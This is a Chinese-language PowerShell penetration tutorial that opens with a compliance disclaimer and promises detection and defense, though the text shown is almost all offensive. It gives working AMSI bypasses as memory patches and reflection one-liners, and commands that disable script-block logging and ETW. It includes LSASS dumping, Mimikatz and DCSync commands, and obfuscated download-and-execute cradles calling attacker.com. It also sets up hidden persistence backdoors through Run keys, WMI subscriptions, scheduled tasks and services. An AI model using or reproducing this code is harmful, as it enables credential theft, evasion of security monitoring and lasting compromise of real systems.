PowerShell安全攻防实战:从渗透利用到检测防御全攻略

**【合规声明】**本文仅供网络安全学习与研究、授权渗透测试及企业安全防御建设参考。未经授权对任何系统实施攻击均属违法行为。请严格遵守《中华人民共和国网络安全法》及相关法律法规,所有技术仅可在授权环境中使用。

一、PowerShell概述与安全机制

PowerShell是微软推出的任务自动化和配置管理框架,由命令行Shell和脚本语言组成,基于.NET Framework(Windows PowerShell)或.NET Core(PowerShell Core)构建。凭借与Windows系统深度集成、可调用.NET全部类库、支持COM/WMI等特性,PowerShell已成为红队渗透测试和蓝队安全运营的核心工具之一。

1.1 PowerShell版本演进

PowerShell从1.0发展至今,功能不断增强,安全机制也逐步完善。各版本的主要功能特性对比如下:

版本 发布年份 内置系统 主要功能特性 安全相关改进
PowerShell 2.0 2009 Windows 7/2008 R2 引入远程管理(Remoting)、后台作业、模块系统 无AMSI、无脚本块日志
PowerShell 3.0 2012 Windows 8/2012 工作流、计划任务、更新WMI Cmdlet 引入 constrained language mode
PowerShell 4.0 2013 Windows 8.1/2012 R2 DSC期望状态配置、增强调试功能 增强执行策略检查
PowerShell 5.0 2015 Windows 10/2016 类定义支持、PackageManagement 引入AMSI集成、脚本块日志
PowerShell 5.1 2017 Windows 10/2019 Edition区分、JEA增强 增强脚本块日志、受限语言模式
PowerShell 7.0 Core 2020 跨平台安装 跨平台支持、并行处理、三元运算符 兼容AMSI、增强安全日志

**【提示】**PowerShell 5.1是目前Windows系统默认内置的最新版本,也是企业安全防护的重点对象。PowerShell 7.x需要单独安装,许多企业环境中并不存在,攻击者通常利用内置的5.1版本。

1.2 PowerShell执行策略(ExecutionPolicy)

执行策略是PowerShell的第一道安全防线,用于控制脚本的执行条件。但需要注意的是,执行策略并非安全边界,可以轻松绕过。

策略名称 说明 脚本执行条件
Restricted 默认策略 不允许执行任何脚本,仅允许交互式命令
AllSigned 高安全性 仅执行由受信任发布者签名的脚本
RemoteSigned 常用策略 本地脚本可直接执行,远程下载脚本需签名
Unrestricted 低安全性 允许执行所有脚本,远程脚本会提示警告
Bypass 无限制 不做任何限制,不提示警告

查看和设置执行策略的命令:

powershell 复制代码
# 查看当前执行策略
Get-ExecutionPolicy

# 查看所有作用域的执行策略
Get-ExecutionPolicy -List

# 设置执行策略(需要管理员权限)
Set-ExecutionPolicy RemoteSigned -Scope LocalMachine

# 设置进程级别执行策略(仅当前会话有效)
Set-ExecutionPolicy Bypass -Scope Process

**【注意】**执行策略设计初衷是防止用户误执行脚本,而非阻止攻击者。攻击者可以通过命令行参数轻松绕过,切勿将其视为安全控制措施。

1.3 PowerShell安全机制详解

1.3.1 AMSI集成(反恶意软件扫描接口)

AMSI(Anti-Malware Scan Interface)是Windows 10引入的安全框架,PowerShell 5.0及以上版本默认集成AMSI。当PowerShell执行脚本或命令时,会将脚本内容传递给AMSI进行扫描,AMSI再调用已注册的杀毒软件(如Windows Defender)进行检测。

AMSI工作流程:

  1. PowerShell解析脚本内容
  2. 调用amsiScanBuffer函数将脚本内容传递给AMSI
  3. AMSI将内容转发给已注册的杀毒引擎
  4. 杀毒引擎返回扫描结果(AMSI_RESULT_CLEAN或AMSI_RESULT_DETECTED)
  5. 若检测到恶意内容,PowerShell拒绝执行并报错
1.3.2 Script Block Logging脚本块日志

Script Block Logging(脚本块日志记录)是PowerShell 5.0引入的安全审计功能,可记录PowerShell执行的脚本块内容,包括经过混淆或解码后的实际执行内容。即使攻击者使用编码或混淆技术,日志中也会记录解码后的明文。

相关事件ID:

  • Event ID 4104:记录脚本块执行内容(包括脚本块开始执行和结束)
  • Event ID 4103:记录模块日志(管道执行详情)
1.3.3 Transcript转录日志

Transcript日志记录PowerShell会话的所有输入输出内容,类似于Linux的script命令。可手动开启或通过组策略强制启用。

powershell 复制代码
# 手动开启转录
Start-Transcript -Path "C:\Logs\ps_transcript.txt" -Append

# 执行命令(所有内容都会被记录)
Get-Process | Select-Object -First 5

# 停止转录
Stop-Transcript
1.3.4 Constrained Language Mode受限语言模式

受限语言模式是PowerShell的安全限制模式,在该模式下,PowerShell禁止调用大部分.NET API、COM对象和WMI高级功能,仅允许基本Cmdlet执行。通常与AppLocker或WDAC配合使用,当系统启用AppLocker策略时,PowerShell自动切换到受限语言模式。

powershell 复制代码
# 查看当前语言模式
$ExecutionContext.SessionState.LanguageMode

# 手动设置受限语言模式(仅当前会话)
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

1.4 PowerShell安全机制绕过概览

安全机制 绕过方法 难度 检测可能性
执行策略 -ExecutionPolicy Bypass参数
AMSI 内存补丁修改amsiScanBuffer
脚本块日志 反射修改EventProvider
受限语言模式 利用白名单进程或COM绕过
转录日志 停止转录或修改注册表

二、PowerShell渗透利用基础

2.1 PowerShell信息收集

信息收集是渗透测试的第一步,PowerShell凭借与Windows系统的深度集成,可以高效地收集系统、网络和域环境信息。

2.1.1 系统信息收集
powershell 复制代码
# 获取完整系统信息
Get-ComputerInfo | Select-Object WindowsProductName, OsVersion, OsBuildNumber, CsProcessors, CsTotalPhysicalMemory

# 获取操作系统版本和补丁信息
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, SerialNumber
Get-HotFix | Select-Object HotFixID, Description, InstalledOn | Sort-Object InstalledOn -Descending

# 获取已安装服务
Get-WmiObject -Class Win32_Service | Select-Object Name, DisplayName, State, StartMode, PathName | Format-Table -AutoSize

# 获取运行进程
Get-Process | Select-Object Name, Id, Path, Company | Sort-Object Name

# 获取已安装软件
Get-WmiObject -Class Win32_Product | Select-Object Name, Version, Vendor

# 获取自启动程序
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location, User
2.1.2 网络信息收集
powershell 复制代码
# 获取网络IP配置
Get-NetIPConfiguration | Select-Object InterfaceAlias, IPv4Address, IPv4DefaultGateway, DNSServer

# 获取所有网络适配器
Get-NetAdapter | Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress

# 查看TCP连接和监听端口
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess | Sort-Object State

# 查看监听端口
Get-NetTCPConnection -State Listen | Select-Object LocalAddress, LocalPort, OwningProcess

# 端口探测(单个端口)
Test-NetConnection -ComputerName 192.168.1.10 -Port 445

# 批量端口扫描
$targets = 1..254
$targets | ForEach-Object {
$ip = "192.168.1.$_"
$result = Test-NetConnection -ComputerName $ip -Port 445 -WarningAction SilentlyContinue
if ($result.TcpTestSucceeded) {
Write-Output "[+] $ip:445 OPEN"
}
}

# 获取路由表
Get-NetRoute -DestinationPrefix "0.0.0.0/0" | Select-Object NextHop, InterfaceAlias

# 获取DNS缓存
Get-DnsClientCache | Select-Object Entry, Name, Type, Data
2.1.3 域环境信息收集
powershell 复制代码
# 使用ActiveDirectory模块获取域用户(需要安装RSAT)
Import-Module ActiveDirectory
Get-ADUser -Filter * -Properties Name, Description, MemberOf, LastLogonDate | Select-Object Name, Description, LastLogonDate

# 获取域管理员组
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName, ObjectClass

# 获取域控制器
Get-ADDomainController -Filter * | Select-Object Name, HostName, Site, OperatingSystem

# 获取域内所有计算机
Get-ADComputer -Filter * -Properties Name, OperatingSystem, LastLogonDate | Select-Object Name, OperatingSystem, LastLogonDate

# 获取域信任关系
Get-ADTrust -Filter * | Select-Object Name, Source, Target, TrustType, TrustDirection

PowerView模块域信息枚举命令示例:

功能 PowerView命令 说明
获取当前域 Get-NetDomain 返回当前域对象
获取域控制器 Get-NetDomainController 枚举域控列表
获取域用户 Get-NetUser 获取所有域用户
获取域管理员 Get-NetGroupMember -GroupName "Domain Admins" 获取域管成员
获取域计算机 Get-NetComputer 获取所有域内主机
查找域管会话 Invoke-UserHunter 查找域管登录的会话
获取GPO Get-NetGPO 获取组策略对象
获取OU Get-NetOU 获取组织单元
powershell 复制代码
# 导入PowerView模块
Import-Module .\PowerView.ps1

# 获取当前域信息
Get-NetDomain

# 查找域管登录的会话(用于定位攻击目标)
Invoke-UserHunter -CheckAccess

# 获取所有域内计算机并筛选操作系统
Get-NetComputer -FullData | Select-Object samaccountname, operatingsystem, operatingsystemversion
2.1.4 凭据收集
powershell 复制代码
# 枚举保存的凭据
cmdkey /list

# 查看凭据管理器中的凭据
Get-StoredCredential -Target "Generic:target"

# 查找LSASS进程
Get-Process lsass

# 查找可能包含凭据的文件
Get-ChildItem -Path C:\Users\ -Recurse -Include "*.txt","*.ini","*.cfg","*.config" -ErrorAction SilentlyContinue | Select-Object FullName

# 查找包含密码的配置文件
Get-ChildItem -Path C:\ -Recurse -Include "web.config","app.config","unattend.xml","sysprep.xml" -ErrorAction SilentlyContinue | Select-Object FullName

# 查找PowerShell历史文件
Get-ChildItem -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -ErrorAction SilentlyContinue
Get-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -ErrorAction SilentlyContinue

2.2 PowerShell远程执行

2.2.1 PowerShell Remoting

PowerShell Remoting基于WinRM(Windows Remote Management)协议,默认使用5985(HTTP)或5986(HTTPS)端口。

powershell 复制代码
# 建立交互式远程会话
Enter-PSSession -ComputerName 192.168.1.10 -Credential domain\user

# 在远程主机上执行单条命令
Invoke-Command -ComputerName 192.168.1.10 -Credential domain\user -ScriptBlock { Get-Process }

# 在多台主机上并行执行命令
Invoke-Command -ComputerName pc01,pc02,pc03 -ScriptBlock { hostname; whoami }

# 使用会话对象远程执行
$session = New-PSSession -ComputerName 192.168.1.10 -Credential domain\user
Invoke-Command -Session $session -ScriptBlock { ipconfig /all }
Remove-PSSession -Session $session

# 通过CredSSP进行多跳认证(用于内网多跳场景)
Invoke-Command -ComputerName 192.168.1.10 -Credential domain\user -Authentication CredSSP -ScriptBlock { dir \\fileserver\share }
2.2.2 WMI远程执行
powershell 复制代码
# 使用WMI远程执行命令
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c calc.exe" -ComputerName 192.168.1.10 -Credential domain\user

# 使用wmic命令远程执行
wmic /node:192.168.1.10 /user:domain\user process call create "cmd.exe /c whoami > C:\result.txt"

# 查询远程主机WMI信息
Get-WmiObject -Class Win32_OperatingSystem -ComputerName 192.168.1.10 -Credential domain\user | Select-Object Caption, Version, CSName
2.2.3 各远程执行方式对比
远程执行方式 端口 协议 日志记录 检测难度
PowerShell Remoting 5985/5986 HTTP/HTTPS 4624/4648/4104
WMI远程执行 135+动态 DCOM/RPC 4624/4672
WinRM原生 5985/5986 HTTP/HTTPS 4624/4648
PsExec 445+动态 SMB/RPC 4624/4688/7045

**【注意】**WMI远程执行由于不产生明显的进程创建事件(命令通过WMI提供者执行),检测难度较高,是红队常用的隐蔽执行方式。

三、PowerShell执行策略绕过

执行策略虽然不是安全边界,但在受限环境中仍可能阻碍脚本执行。以下是常见的绕过方法。

3.1 Bypass执行策略

powershell 复制代码
# 方法一:命令行参数绕过
powershell -ExecutionPolicy Bypass -File .\script.ps1

# 方法二:在当前进程级别设置
powershell -ExecutionPolicy Bypass -Command "Get-Process"

# 方法三:使用-Scope Process(仅当前会话有效)
Set-ExecutionPolicy Bypass -Scope Process -Force

3.2 -EncodedCommand参数执行Base64编码命令

powershell 复制代码
# 原始命令
$command = "Get-Process | Select-Object -First 5"

# 编码为Base64(PowerShell使用UTF-16LE编码)
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
Write-Output $encodedCommand

# 执行编码后的命令
powershell -EncodedCommand $encodedCommand

# 实际使用示例:编码并执行IEX下载命令
$payload = "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($payload)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

**【提示】**Base64编码后的命令长度有限制(约32766个字符),长脚本需要分段编码或使用其他加载方式。

3.3 从内存执行脚本

powershell 复制代码
# 方法一:使用IEX(Invoke-Expression)从网络加载并执行
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')

# 方法二:使用Invoke-Expression简写
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')

# 方法三:使用.NET WebClient
$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
IEX $wc.DownloadString('http://attacker.com/script.ps1')

# 方法四:使用Invoke-WebRequest
IEX (Invoke-WebRequest -Uri 'http://attacker.com/script.ps1' -UseBasicParsing).Content

# 方法五:从本地文件读取并执行
IEX (Get-Content -Path .\script.ps1 -Raw)

# 方法六:从剪贴板执行
IEX (Get-Clipboard)

3.4 使用反射加载.NET程序集

powershell 复制代码
# 从文件加载.NET程序集
$assembly = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\tools\tool.dll"))

# 从网络加载.NET程序集并调用方法
$bytes = (New-Object System.Net.WebClient).DownloadData('http://attacker.com/tool.dll')
$assembly = [Reflection.Assembly]::Load($bytes)
$type = $assembly.GetType("Tool.ClassName")
$method = $type.GetMethod("MethodName")
$method.Invoke($null, @("argument"))

# 使用Load-Assembly反射加载并执行
$data = (New-Object System.Net.WebClient).DownloadData('http://attacker.com/shellcode.exe')
[Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, @())

3.5 通过COM对象绕过执行策略

powershell 复制代码
# 使用COM对象执行脚本
$com = New-Object -ComObject ScriptControl
$com.Language = "VBScript"
$com.AddCode('Function Exec(cmd)')
$com.AddCode('Set sh = CreateObject("WScript.Shell")')
$com.AddCode('Exec = sh.Exec(cmd).StdOut.ReadAll()')
$com.AddCode('End Function')
$result = $com.Run("Exec", "powershell -Command Get-Process")

# 使用Excel COM对象执行
$excel = New-Object -ComObject Excel.Application
$excel.Visible = $false
# 通过Excel宏间接执行PowerShell

3.6 各绕过方法对比

绕过方法 适用版本 检测难度 绕过效果
-ExecutionPolicy Bypass 所有版本 完全绕过
-EncodedCommand 所有版本 完全绕过
IEX内存加载 所有版本 完全绕过
反射加载.NET 所有版本 完全绕过
COM对象绕过 所有版本 完全绕过
管道传递执行 所有版本 完全绕过

**【警告】**所有执行策略绕过方法都能完全绕过执行策略,这再次证明执行策略不是安全边界。企业安全防护不应依赖执行策略。

四、PowerShell免杀与混淆技术

4.1 PowerShell代码混淆方法

4.1.1 变量名混淆
powershell 复制代码
# 原始代码
$processes = Get-Process
$names = $processes | Select-Object -ExpandProperty Name
Write-Output $names

# 混淆后(使用无意义变量名)
$x7k = Get-Process
$m2p = $x7k | Select-Object -ExpandProperty Name
Write-Output $m2p

# 更深层混淆
$a = "Get"
$b = "Process"
$cmd = $a + "-" + $b
& $cmd
4.1.2 字符串拼接混淆
powershell 复制代码
# 原始代码
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

# 字符串拼接混淆
$cmd = "I" + "E" + "X"
$wc = "N" + "ew-Ob" + "ject N" + "et.WebC" + "lient"
$dl = "Down" + "loadS" + "tring"
$url = "ht" + "tp://" + "att" + "acker." + "com/p" + "ayload.ps1"
& $cmd (& $wc).$dl($url)

# 使用格式化字符串混淆
$cmd = "{0}{1}{2}" -f "I","E","X"
$method = "{0}{1}{2}" -f "Download","Str","ing"
& $cmd (New-Object Net.WebClient).$method('http://attacker.com/payload.ps1')
4.1.3 字符替换混淆
powershell 复制代码
# 使用[char]::ConvertFromUtf32构造命令
$c = [char]::ConvertFromUtf32(71) + [char]::ConvertFromUtf32(101) + [char]::ConvertFromUtf32(116) # "Get"
$p = [char]::ConvertFromUtf32(45) + [char]::ConvertFromUtf32(80) + [char]::ConvertFromUtf32(114) + [char]::ConvertFromUtf32(111) + [char]::ConvertFromUtf32(99) + [char]::ConvertFromUtf32(101) + [char]::ConvertFromUtf32(115) + [char]::ConvertFromUtf32(115) # "-Process"
$cmd = $c + $p
& $cmd

# 使用ASCII码数组构造字符串
$bytes = @(73,69,88) # "IEX"
$str = -join ($bytes | ForEach-Object { [char]$_ })
& $str (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
4.1.4 反引号转义混淆
powershell 复制代码
# 原始命令
Get-Process | Where-Object {$_.Name -eq "lsass"}

# 反引号转义混淆(反引号在PowerShell中是转义符,插入到cmdlet名称中不影响执行)
G`e`T-P`r`o`c`e`s`s | W`h`e`r`e-O`b`j`e`c`t {$_.N`a`m`e -eq "l`s`s`a`s`s"}

# 更复杂的反引号混淆
&("{0}{1}{2}{3}" -f 'G','et-','Proc','ess') | &("{0}{1}" -f 'Wher','e-Object') {$_.Name -match "lsass"}
4.1.5 Base64编码混淆
powershell 复制代码
# 将整个脚本编码为Base64后使用-EncodedCommand执行
$script = @'
Get-Process | Where-Object {$_.Name -eq "lsass"} | Select-Object Id, Name, WorkingSet
'@

$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)

# 执行
powershell -EncodedCommand $encoded

# 在脚本中动态解码执行
$encodedPayload = "RwBlAHQALQBQAHIAbwBjAGUAcwBzAA=="  # Get-Process的Base64
$decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encodedPayload))
Invoke-Expression $decoded

4.2 Invoke-Obfuscation框架使用

Invoke-Obfuscation是一个PowerShell代码混淆框架,支持多种混淆方式,可有效绕过AMSI和签名检测。

4.2.1 安装与导入
powershell 复制代码
# 下载Invoke-Obfuscation
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
cd Invoke-Obfuscation

# 导入模块
Import-Module .\Invoke-Obfuscation.psd1

# 启动交互式界面
Invoke-Obfuscation
4.2.2 五种混淆模式
混淆模式 命令 效果说明
Token混淆 TOKEN\ALL\1 替换所有Token类型(变量、命令、参数等)
String混淆 STRING\1 使用多种方式拆分和重组字符串
Encoding混淆 ENCODING\1-8 使用Base64/Octal/Binary/Hex等编码
Compression混淆 COMPRESS\1-2 GZip压缩后Base64编码
PSObject混淆 PSOBJECT\1 通过PSObject成员访问混淆
4.2.3 混淆前后对比示例
powershell 复制代码
# 原始命令
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

# 使用Invoke-Obfuscation Encoding模式混淆后
# (实际输出会是一长串编码后的命令)
$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
# 在Invoke-Obfuscation交互界面中:
# SET SCRIPTBLOCK $cmd
# ENCODING\5
# 输出混淆后的命令

# 使用Token模式混淆后
& ( $ShelLId[1]+$ShelLId[13]+'x') ( ( ((NeW-ObJect  NeT.WebClIeNT)).("Down"+"loadStri"+"ng").Invoke('http://attacker.com/payload.ps1') ) )

4.3 AMSI Bypass技术

4.3.1 AMSI工作原理

AMSI通过amsi.dll动态链接库集成到PowerShell进程中。当PowerShell需要执行脚本时,调用amsi.dll导出的AmsiScanBuffer函数,将脚本内容传递给AMSI进行扫描。如果杀毒引擎判定为恶意,返回AMSI_RESULT_DETECTED,PowerShell拒绝执行。

4.3.2 AMSI内存修补Bypass

通过修改amsiScanBuffer函数的内存,使其始终返回AMSI_RESULT_CLEAN(0),从而绕过AMSI检测。

C#实现示例:

csharp 复制代码
using System;
using System.Runtime.InteropServices;

public class AMSIBypass
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);

public static void Bypass()
{
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr bufferAddress = GetProcAddress(amsi, "AmsiScanBuffer");

// 修改内存保护属性为可读写执行
uint oldProtect;
VirtualProtect(bufferAddress, (UIntPtr)8, 0x40, out oldProtect);

// 写入修补字节:xor eax, eax; ret(返回0即AMSI_RESULT_CLEAN)
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(patch, 0, bufferAddress, patch.Length);

// 恢复内存保护属性
VirtualProtect(bufferAddress, (UIntPtr)8, oldProtect, out oldProtect);
}
}

PowerShell实现示例:

powershell 复制代码
# AMSI Bypass - PowerShell版本
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 另一种方式:反射修改AMSI上下文
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiSession','NonPublic,Static')
$field.SetValue($null, $null)

# 内存补丁方式(通过Add-Type编译C#代码)
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class AmsiPatch {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void Patch() {
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");
uint old;
VirtualProtect(addr, (UIntPtr)8, 0x40, out old);
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(patch, 0, addr, patch.Length);
VirtualProtect(addr, (UIntPtr)8, old, out old);
}
}
"@
[AmsiPatch]::Patch()
4.3.3 PowerShell AMSI Bypass一行命令
powershell 复制代码
# 反射修改AMSI程序集(最常见的一行命令)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 使用反射混淆版本(避免被AMSI检测到Bypass本身本身)
&("System.Management.Automation.AmsiUtils") | Out-Null
$a=[Ref].Assembly.GetType(("Sys{0}tem.Management.Automation.Ams{0}Utils" -f "i"))
$b=$a.GetField(("ams{0}InitFailed" -f "i"),"NonPublic,Static")
$b.SetValue($null,$true)

4.4 Script Block Logging绕过

powershell 复制代码
# 方法一:通过注册表禁用脚本块日志
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (Test-Path $regPath) {
Set-ItemProperty -Path $regPath -Name EnableScriptBlockLogging -Value 0
}

# 方法二:反射修改EventProvider禁用日志
$etwProvider = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider")
$etwProvider.GetField("m_provider","NonPublic,Static").SetValue($null, $null)

# 方法三:通过反射禁用ETW提供者(更隐蔽)
$guid = [Guid]"a0c1853b-5c40-4b15-8766-3cf1c58f985a"  # PowerShell ETW Provider GUID
$type = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider")
$field = $type.GetField("m_provider", [Reflection.BindingFlags]40)
$field.SetValue($null, $null)

4.5 各免杀技术效果对比

免杀技术 绕过AMSI 绕过日志 绕过EDR 检测难度
变量名混淆 部分 部分
字符串拼接混淆 部分 部分
字符替换混淆 部分 部分
Base64编码混淆 部分
Invoke-Obfuscation 部分
AMSI内存补丁 不影响 部分
Script Block Logging绕过 不影响 部分
组合使用 部分

**【警告】**免杀技术是攻防对抗的动态博弈。安全团队不应依赖单一检测手段,应结合AMSI、脚本块日志、EDR行为分析等多维度检测。

五、PowerShell后渗透利用

5.1 凭据窃取

5.1.1 Mimikatz via PowerShell
powershell 复制代码
# 使用Invoke-Mimikatz(来自PowerSploit)
Import-Module .\Invoke-Mimikatz.ps1

# 导出凭据(需要管理员权限)
Invoke-Mimikatz -DumpCreds

# 导出所有凭据(包括Kerberos票据)
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "sekurlsa::tickets"'

# 从远程主机导出凭据
Invoke-Mimikatz -DumpCreds -ComputerName 192.168.1.10

# 使用DUMP Hash提取NTLM哈希
Invoke-Mimikatz -Command '"lsadump::sam"'  # 导出SAM数据库中的哈希
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:contoso.com /user:Administrator"'  # DCSync攻击
5.1.2 调用Windows API读取LSASS内存
powershell 复制代码
# 使用PowerShell直接调用MiniDumpWriteDump API转储LSASS
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class MiniDump {
[DllImport("dbghelp.dll")]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId,
IntPtr hFile, uint DumpType, IntPtr ExceptionParam,
IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@

# 获取LSASS进程
$lsass = Get-Process lsass
$handle = $lsass.Handle

# 创建转储文件
$dumpFile = [System.IO.File]::Create("C:\Windows\Temp\lsass.dmp")
[MiniDump]::MiniDumpWriteDump($handle, $lsass.Id, $dumpFile.SafeFileHandle.DangerousGetHandle(), 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
$dumpFile.Close()

Write-Output "[+] LSASS dump saved to C:\Windows\Temp\lsass.dmp"
5.1.3 Kerberos票据操作
powershell 复制代码
# 使用Rubeus via PowerShell
# 请求TGT(需要明文密码)
Invoke-Rubeus -Command "asktgt /user:username /password:Password123 /domain:contoso.com /dc:dc01.contoso.com"

# 请求TGT(使用哈希)
Invoke-Rubeus -Command "asktgt /user:username /rc4:31d6cfe0d16ae931b73c59d7e0c089c0 /domain:contoso.com"

# 票据注入(PTT)
Invoke-Rubeus -Command "ptt /ticket:doIFmj..."

# 查看当前票据
Invoke-Rubeus -Command "klist"

# 使用PowerShell原生Kerberos票据操作
# 导入Base64编码的Kirbi票据
[Runtime.InteropServices.Marshal]::Copy([Convert]::FromBase64String("base64_ticket"), 0, [IntPtr]::Add([IntPtr]::Zero, 0), 0)
5.1.4 导出注册表中的凭据
powershell 复制代码
# 导出SAM、SYSTEM、SECURITY注册表 hive(需要SYSTEM权限)
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
reg save HKLM\SECURITY C:\Windows\Temp\security.hive

# 使用PowerShell方式
Invoke-Command -ScriptBlock {
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
reg save HKLM\SECURITY C:\Windows\Temp\security.hive
}

# 导出后可使用impacket-secretsdump离线提取哈希
# secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

5.2 权限维持

5.2.1 PowerShell注册表后门
powershell 复制代码
# 创建Run键后门(用户登录时自动执行)
$backdoorScript = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate" -Value $backdoorScript

# 创建RunOnce键后门(仅执行一次)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "SystemCheck" -Value $backdoorScript

# 创建WMI事件订阅后门(更隐蔽)
# 步骤1:创建事件过滤器(触发条件:用户登录后5分钟)
$filterArgs = @{
Name = "SystemHealthCheck"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 300"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

# 步骤2:创建事件消费者(执行的操作)
$consumerArgs = @{
Name = "SystemHealthMonitor"
CommandLineTemplate = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs

# 步骤3:绑定过滤器和消费者
$bindingArgs = @{
Filter = $filter
Consumer = $consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs

Write-Output "[+] WMI事件订阅后门已创建"
5.2.2 PowerShell计划任务后门
powershell 复制代码
# 创建隐藏计划任务后门
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
$trigger = New-ScheduledTaskTrigger -AtLogOn -User "domain\user"
$settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

Register-ScheduledTask -TaskName "SystemHealthMonitor" -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force

# 使用schtasks命令创建(兼容性更好)
schtasks /create /tn "SystemUpdate" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')" /sc onlogon /ru SYSTEM /rl HIGHEST /f

# 创建定时触发的计划任务
schtasks /create /tn "WindowsDefenderUpdate" /tr "powershell.exe -WindowStyle Hidden -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')" /sc minute /mo 30 /ru SYSTEM /f
5.2.3 PowerShell服务后门
powershell 复制代码
# 创建恶意服务
$serviceName = "WindowsHealthService"
$binaryPath = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"

New-Service -Name $serviceName -DisplayName "Windows Health Monitoring Service" -BinaryPathName $binaryPath -StartupType Automatic -Description "Monitors system health and performance"

